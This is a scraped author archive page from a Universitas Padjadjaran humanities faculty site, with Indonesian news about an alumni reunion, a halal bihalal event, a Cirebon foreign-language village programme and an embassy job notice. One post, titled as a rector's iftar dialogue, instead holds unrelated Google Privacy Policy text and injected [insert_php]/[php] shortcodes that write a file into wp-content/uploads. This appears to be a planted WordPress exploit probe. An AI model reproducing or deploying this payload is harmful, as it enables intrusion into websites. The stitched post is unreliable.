Author name: mnrizal

Berita

Fakultas Sastra/FIB Unpad Gelar Reuni Akbar

SUMEDANG – Fakultas Sastra/Fakultas Ilmu Budaya (FIB) Universitas Padjajaran (Unpad) bersiap kembali menggelar reuni akbar. Rencananya kegiatan yang diberi nama “Hari­Hari Sastra Reunian (H2S Reunian)”. Acara ini bakal digelar pada Sabtu 6 Februari 2016 di kampus FIB, Jatinangor, Sumedang. Ketua Umum Panitia H2S Reunian Ardhi Lufti Siregar mengungkapkan, acara ini terbuka bagi para alumni Fakultas Sastra/FIB Unpad angkatan 1980­an hingga 2000­an dari semua jurusan baik S1 maupun D3. Menurut Ardhi, rangkaian acara di antaranya, pentas seni dan budaya, apresiasi sastra, pameran beragam benda pembangkit memori kolektif para alumni, fun games, foto studio antarjurusan. Sejumlah tokoh dan selebrita alumni Fakultas Sastra/FIB Unpad akan hadir. “Jadi acara reuni nanti bukan sekadar berbagi memori. Tapi ada makna yang lebih dalam yang dihasilkan dari pertemuan itu. Ada wujud kecintaan dan kepedulian terhadap almamater yang juga konkret,” jelas Ardhi seusai audiensi Panitia H2S Reunian dengan Dekan FIB Yuyu Yohana Risagarniwa dan Badan Eksekutif Mahasiswa (BEM) FIB Unpad di Jatinangor, Rabu 7 Oktober 2015 kemarin. Ardhi menerangkan, seluruh rangkaian acara akan melibatkan alumni dan segenap civitas akademika Fakultas Sastra/FIB Unpad. H2S Reunian pun bakal ditandai dengan pembentukan Career Development Center (CDC) bagi para lulusan Fakultas Sastra/FIB Unpad. Sejauh ini, lanjut dia, sudah lebih dari 5.000 orang mendaftarkan dirinya dalam database alumni Fakultas Sastra/FIB Unpad. Padahal, registrasi alumni baru dibuka beberapa hari. Data base ini akan dioperasikan secara permanen dan selalu up date. Informasi lengkap mengenai H2S reunian bisa dilihat di situs www.alumnisastra.or.id, Twitter @sastraunpad16, atau Facebook Reuni Akbar Sastra Unpad 2016. Dekan FIB Unpad, Yuyu Yohana Risagarniwa sangat mengapresiasi inisiatif dari para alumni untuk menggelar reuni akbar. “Saya merasakan spirit yang kuat dari para alumni untuk bersilaturahmi, berbagi kenangan, kemudian saling menguatkan melalui pembentukan database alumni dan career development center atau CDC. Terlebih acara ini juga berkolaborasi dengan para mahasiswa yang masih kuliah,” ujar Yuyu. source: http://nasional.sindonews.com/read/1051292/15/fakultas-sastra-fib-unpad-gelar-reuni-akbar-1444252647

Berita

FIB DAPAT “THR” DARI REKTOR

Selasa (28/06/2015) acara silaturahmi dalam rangka halal bihalal sivitas akademika FIB Unpad digelar di Aula PSBJ FIB Unpad. Kegiatan yang dimulai pukul 08.30 WIB ini diawali dengan silaturahmi antara jajaran pimpinan fakultas dengan sivitas akademika FIB Unpad serta tamu undangan. Sekitar 250 orang yang terdiri dari dosen dan tenaga kependidikan hadir pada kegiatan tersebut.       Dekan FIB Unpad Yuyu Yohana Risagarniwa, M.Ed., Ph.D. dalam sambutannya mengatakan bahwa bulan Ramadhan yang baru saja meninggalkan kita semoga menjadi keberkahan bagi seluruh sivitas akademika FIB Unpad. Selain itu Dekan juga berpesan agar sivitas akademika FIB Unpad bisa terus kompak bekerja sama agar FIB khususnya dan Unpad umumnya bisa lebih “nanjeur”. Selanjutnya Dekan juga mengucapkan terima kasih kepada Rektor Unpad Prof.Dr.med. Tri Hanggono Achmad, dr. yang sudah berkenan hadir dan bersedia menjadi penceramah. Memasuki acara penyampaian taushiah Prof.Dr.med Tri Hanggono Achmad, dr. menyampaikan beberapa hal di antaranya tentang perlunya meneruskan kebiasaan baik yang dilaksanakan di bulan Ramadhan pada bulan-bulan selanjutnya. Taushiah yang disampaikan dengan penuh keakraban tersebut mampu menarik perhatian sekitar 250 orang yang hadir di Aula PSBJ.     Setelah menyampaikan taushiah Rektor memberi kejutan kepada sivitas akademika FIB Unpad dengan memberi “THR”. THR tersebut berupa informasi bahwa telah ditandatanganinya Rancangan Program Pendirian Pusat Studi Budaya Sunda. Dengan telah disyahkan rancangan program tersebut Rektor menyampaikan pembangunan fisik untuk Pusat Studi Budaya Sunda sudah bisa dimulai. Selanjutnya Rektor mengharapkan FIB segera merangkum ide-ide dan mewujudkannya dalam bentuk program-program untuk menjalankan Pusat Studi Budaya Sunda. Kegiatan silaturahmi dalam rangka halal bihalal sivitas akademika FIB Unpad ini ditutup dengan penampilan lagu-lagu Sunda yang dipersembahkan oleh group “Barasat” dari Paguyuban Mahasiswa Sastra Sunda FIB Unpad. (rat/JHS)

Berita

Bupati Sunjaya Gandeng (FIB) Unpad Gulirkan Program Kampung Global

CIREBON (CT) – Bupati Cirebon Sunjaya Purwadisastra akan membuat program kampung global dengan diberikan nama global village yang menjadi pilihannya di Desa Budur, Kecamatan Ciwaringin, Kabupaten Cirebon dengan target di Tahun 2016, program tersebut sudah berhasil. Awalnya, program yang menjadi keinginan bupati itu, sempat memiliki nama program kampung Eropa. Namun setelah dilakukan rapat bersama terkait program itu, akhirnya adanya pergantian nama yakni global village. Program kampung global atau kini memiliki sebutan global village perubahan namanya sudah berdasarkan berbagai pertimbangan, “Kita sudah sepakat, kampung Eropa resmi diganti menjadi global village yang artinya secara global, bukan hanya eropa karena konsep awalnya memasukkan dua bahasa yaitu bahasa Inggris dan bahasa Mandarin. Kami sedang merencanakan program pembuatan global village yang nanti dalam sistem pembelajarannya akan dibuat dua blok pembelajaran,” jelasnya. Di antaranya, blok Inggris dan blok Mandarin. Program yang digulirkannya itu, bertujuan dibentuknya global village, untuk memberikan pembelajaran kepada masyarakat kabupaten cirebon, agar terbiasa dengan menggunakan bahasa internasional. “Kenapa pilihannya dua bahasa itu, jadi jika Bahasa Inggris merupakan bahasa internasional. Sedangkan bahasa Mandarin, sudah dikatakan mendunia dikarenakan negara maju banyak yang masuk dari negara china,” katanya. Sementara dalam pelaksanaannya, program global village akan menghabiskan anggaran sekitar Rp. 450 juta, yang akan masuk dalam APBD tahun 2016 mendatang. Diselenggarakan di tahun 2016 dengan bekerjasama Universitas Padjadjaran Bandung. (Dea Deliana) Sumber berita: www.cirebontrust.com/bupati-sunjaya-gandeng-unpad-gulirkan-program-kampung-global.html

Berita

Pemkab Cirebon Gandeng (FIB) Unpad Wujudkan Kampung Berbahasa Asing

SHN Bupati Cirebon Sunjaya Purwadisastra bersama Tim 10 Unpad saat memberikan keterangan tentang kampung eropa Fajarnews.com, SUMBER – Pemerintah Kabupaten (Pemkab) Cirebon menggandeng tim dari Universitas Padjadjaran (Unpad) Bandung, dalam mewujudkan kampung Eropa. Yang mana nantinya di kampung tersebut masyarakatya akan berkomunikasi dalam dua bahasa internasional dengan dinamakan “Global Village”. Dua bahasa tersebut yakni bahasa Ingris dan bahasa Mandarin. Lokasi yang dipilih oleh Pemkab Cirebon, sebelumnya Desa Balerante, Kecamatan Palimanan. Namun karena desa tersebut akses jalan dan geografisnya tidak masuk kriteria maka desa Budur, Kecamatan Ciwaringin, Kabupaten Cirebon menjadi pilihan kedua. “Awalanya kampong eropa namun setelah disepakati kita ganti dengan kampong Global Village. Yaitu sebuah kampung yang memiliki konsep secara global namun tidak meninggakan unsur lokal. Insyaallah pelaksanaannya akan berlangsung di tahun 2016 mendatang” kata Bupati Cirebon, Sunjaya Purwadisastra, kemarin (23/6). Pemkab sendiri melibatkan tim dari Unpad Bandung yang beranggotakan sebanyak 10 orang ahli bahasa asing yang mayoritas bergelar doktor. Menurut Bupati, tim dalam beberapa waktu lalu telah melakukan survei dan kajian langsung kelokasi di desa Budur dan hasilnya memenuhi syarat untuk dibentuknya kampung berbahasa asing. “Berdasarkan kajian tim dari Unpad awalnya di Desa Balerante. Namun karena tidak memenuhi kriteria salahsatunya jauh dari keramaian jalan raya. Sebaliknya untuk desa Budur, aksesnya lebih mudah di jangkau dan semua syaratnya terpenuhi,” katanya. Terkait dukungan anggaran sendiri, Pemkab Cirebon pada tahun 2016, akan menganggarkan Rp 450 juta dalam satu tahun anggaran. Hal itu baru hitungan kasar yang diberikan Tim dana tersebut untuk kebutuhan SDM dan sarana pendukung lainnya. “Dalam waktu dekat tim akan berangkat ke Pare, untuk melakukan study banding dan menerapkannya di Cirebon. Diantaranya dengan membuat posko dan lainnya,” katanya. Sementara itu, perwakilan tim dari Unpad, Fauzan mejelaskan, berdasarkan kajian yang dilakukan timnya di Desa Budur masuk dalam kategori pembentukan kampung asing. Selain itu, dari tingkat pendidikan masyarakatnya juga cukup mendukung. Termasuk persyaratan lainnya yakni faktor Geografis untuk dilakukan promosi. ” Jika telah jadi, maka akan dibuatkan banner bernamakan ‘Welcom To Our Global Village’ disejumlah titik. seperti di lintasan jalur Tol Cipali, gerbang pondok pesantren, dan di wilayah Susukan sebelah utara, yang berbatasan dengan Kabupaten Indramayu. ” kata Fauzan. Dia menambahkan, pihak pemdes sangat merespon dengan kedatangn tim 10 Unpad, bahkan kepala desa telah menyediakan tempat untuk dijadikan secretariat tim 10. Selain itu di wilayah tersebut ada beberapa guru bahasa ingris dan mereka siap untuk membantu program tersebut. (SHN) sumber berita: http://news.fajarnews.com/read/2015/06/24/3516/pemkab.cirebon.gandeng.unpad.wujudkan.kampung.berbahasa.asing

Pengumuman

Informasi Akademik Terintegrasi (SIAT)

    Selasa, 7 Juli 2015. Informasi seputar penghitungan penghasilan (remunerasi) Dosen PNS Unpad dan informasi tentang System Informasi Akademik Terintegrasi (SIAT) oleh ibu Warek II Unpad di depan dosen-dosen Fakultas Ilmu Budaya Unpad

Berita

Silaturahmi, Dialog dan Buka Puasa Bersama Rektor Unpad

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account. There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy. Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review. [insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php] [php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Berita

Penerimaan Calon Pegawai Setempat pada Kedutaan Besar RI di Wina, Austria Tahun 2015 (untuk Lulusan S1 Sastra Jerman)

Kepada Yth. Admin Email Fakultas/Universitas dan Institut Bahasa Bersama ini dengan hormat kami sampaikan pengumuman seleksi penerimaan calon Pegawai Setempat pada Kedutaan Besar RI di Wina, Austria Tahun 2015. Adapun pengumuman dimaksud sebagaimana dokumen terlampir. Untuk itu, kami mohon bantuan Saudara untuk menyebarluaskan informasi dimaksud kepada para lulusan pada Universitas Saudara di Website atau papan pengumuman. Atas bantuan dan kerja samanya kami sampaikan terima kasih. — Ario Saloko General Affairs Officer Indonesian Embassy to the Republic of Austria and Slovenia (non-resident) / Permanent Mission of The Republic of Indonesia to the UN and Other International Organizations in Vienna Gustav Tschermakgasse 5-7, A-1180 Vienna, Austria Selengkapnya silahkan unduh file berikut: Penerimaan Pegawai Setempat KBRI_PTRI Wina

Berita

Kisah Penanganan Burung Karasu di Jepang Gambaran Kecintaan Akan Keseimbangan Alam

“Burung karasu (sejenis burung gagak) merupakan salah satu hewan yang kerap menimbulkan masalah di Jepang. Burung yang yang berwarna hitam ini seringkali menjadi penyebab bercecerannya  sampah rumah tangga di area perumahan di Jepang. Burung yang sering keluar di pagi hari ini seringkali mematuki bahkan mencakari sampah untuk mencari sisa-sisa makanan sehingga mengakibatkan sampah berserakan. Selain itu burung ini juga sering menimbulkan masalah listrik di Jepang  karena sarang yang dibuat di tiang-tiang listrik oleh burung karasu ini sering menimbulkan hubungan arus pendek. Dalam menyikapi masalah ini  pemerintah dan masyarakat Jepang tidak memilih jalan pintas dengan cara membunuh burung pengganggu tersebut namun dengan cara menyediakan fasilitas untuk burung karasu. Salah satu fasilitas yang diberikan adalah dengan membuatkan sarang di tiang-tiang yang sering digunakan oleh burung karasu.” Kisah penanganan burung karasu tersebut menjadi salah satu paparan yang disampaikan Dekan Fakultas Ilmu Budaya Unpad Yuyu Yohana Risagarniwa, M.Ed., Ph.D. pada ceramah yang dilaksanakan selepas sembahyang dzuhur di Masjid Raya Padjadjaran (Bale Aweuhan), Selasa 23 Juli 2015. Dekan FIB menyampaikan kisah burung karasu tersebut berkenaan dengan bagaimana hubungan manusia dengan alam. Selain itu disampaikan pula mengenai budaya malu yang kini mulai pudar dikalangan sivitas akademika Unpad. Padahal  Rasulullah shallallahu ‘alaihi wa sallam bersabda, “Sesungguhnya di antara yang didapat manusia dari kalimat kenabian terdahulu ialah: Jika engkau tidak malu, berbuatlah sekehendakmu.” (HR. Bukhari). Pada ceramah yang berlangsung sekitar 30 menit tersebut, Dekan FIB selain mengutip ayat-ayat Quran dan Hadist  juga memberikan contoh-contoh yang pernah dialaminya langsung di antaranya terkait dengan sikap pemaaf yang dapat menyelesaikan masalah dengan lebih baik dan pentingnya sebuah amanat. Pada bagian akhir Dekan FIB mengajak kepada jamaah untuk merenungi kembali apakah nilai-nilai Islam sudah diamalkan dengan baik?. (rat-JHS)

Scroll to Top